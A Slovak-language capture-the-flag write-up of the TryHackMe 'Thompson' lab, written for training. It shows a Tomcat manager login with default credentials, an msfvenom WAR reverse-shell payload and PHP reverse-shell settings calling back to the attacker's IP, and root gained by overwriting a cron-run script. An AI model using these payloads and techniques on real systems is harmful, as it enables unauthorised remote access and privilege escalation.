Príspevok

TryHackMe - Thompson

Celkom v pohode výzva, použitie tomcat file uploadu a metasploitu v praxi

TryHackMe - Thompson

Úvod

Celkom dobrá miestnosť pre začiatočníkov, ktorí si potrebujú precvičiť nahrávanie payload súborov a získať prístup týmto spôsobom. Nebola potrebná žiadna eskalácia privilégií, pretože dostupný skript potreboval len malú úpravu.

Celkovo celkom jednoduchá výzva, ale dobrá pre študentov

Tryhackme Room Link

Nmap

Klasika, začiatok pomocou nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
nmap -T4 -n -sC -sV -Pn -p- 10.10.83.60
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fc:05:24:81:98:7e:b8:db:05:92:a6:e7:8e:b0:21:11 (RSA)
|   256 60:c8:40:ab:b0:09:84:3d:46:64:61:13:fa:bc:1f:be (ECDSA)
|_  256 b5:52:7e:9c:01:9b:98:0c:73:59:20:35:ee:23:f1:a5 (ED25519)
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open  http    Apache Tomcat 8.5.5
|_http-title: Apache Tomcat/8.5.5
|_http-favicon: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Máme teda otvorené 3 porty 22/tcp 8009/tcp 8080/tcp

Prieskum

Navštívme web na adrese http://10.10.83.60:8080/

Môžeme vidieť podstránku manager

Manager Webapp

Zobrazí sa webový formulár, ale po kliknutí na tlačidlo Cancel budeme presmerovaní na túto stránku

Môžeme vidieť nejaké údaje

Tomcat Credentials

1
2
username: tomcat
password: s3cret

Tak ich skúsme

Manager Webapp

A sme prihlásený v manažérovi

Inside Manager

Prvotný Prístup

Vidíme, že je k dispozícii nejaký nástroj na nahrávanie súborov, ktorý zrejme prijíma iba súbory .war

Uploader

Stiahnime si php súbor reverzného shellu na https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

Potrebujeme aktualizovať našu IP a PORT a uložiť súbor ako shell.php.war, pretože web prijíma iba súbory .war

1
2
$ip = '10.11.75.122';  // CHANGE THIS
$port = 1337;       // CHANGE THIS

Týmto spôsobom to nemôžeme spustiť

Shell

Zrejme toto nie je cesta, skúsme si vytvoriť súbor .war pomocou metasploitu

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.75.122 LPORT=1337 -f war > exploit.war

Teraz skúsme nahrať súbor

Shell

Nahranie prebehlo v poriadku, teraz otvorme port na našej strane a navštívme našu stránku exploitu

Shell

Vlajka užívateľa

Prijali sme pripojenie a v /home/jack/user.txt nájdeme vlajku užívateľa

Shell

Root Vlajka

Pozrime sa, aké súbory máme k dispozícii

1
2
3
4
5
cat id.sh
#!/bin/bash
id > test.txt
uid=0(root) gid=0(root) groups=0(root)
---

Zdá sa, že máme link, takže sa pozrime na cronjobs

1
2
3
4
5
6
7
8
9
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*  *    * * *   root    cd /home/jack && bash id.sh
1
2
3
4
5
6
7
8
9
ls -la 
total 48
drwxr-xr-x 4 jack jack 4096 Aug 23  2019 .
drwxr-xr-x 3 root root 4096 Aug 14  2019 ..
-rw------- 1 root root 1476 Aug 14  2019 .bash_history
-rw-r--r-- 1 jack jack  220 Aug 14  2019 .bash_logout
-rw-r--r-- 1 jack jack 3771 Aug 14  2019 .bashrc
drwx------ 2 jack jack 4096 Aug 14  2019 .cache
-rwxrwxrwx 1 jack jack   26 Aug 14  2019 id.sh

Zdá sa, že môžeme spustiť id.sh ako root, takže môžeme len vypísať pomocou cat obsah súboru root.txt do súboru test.txt

1
echo "cat /root/root.txt > test.txt" > id.sh

Root

Tento príspevok je licencovaný pod CC BY 4.0 autorom.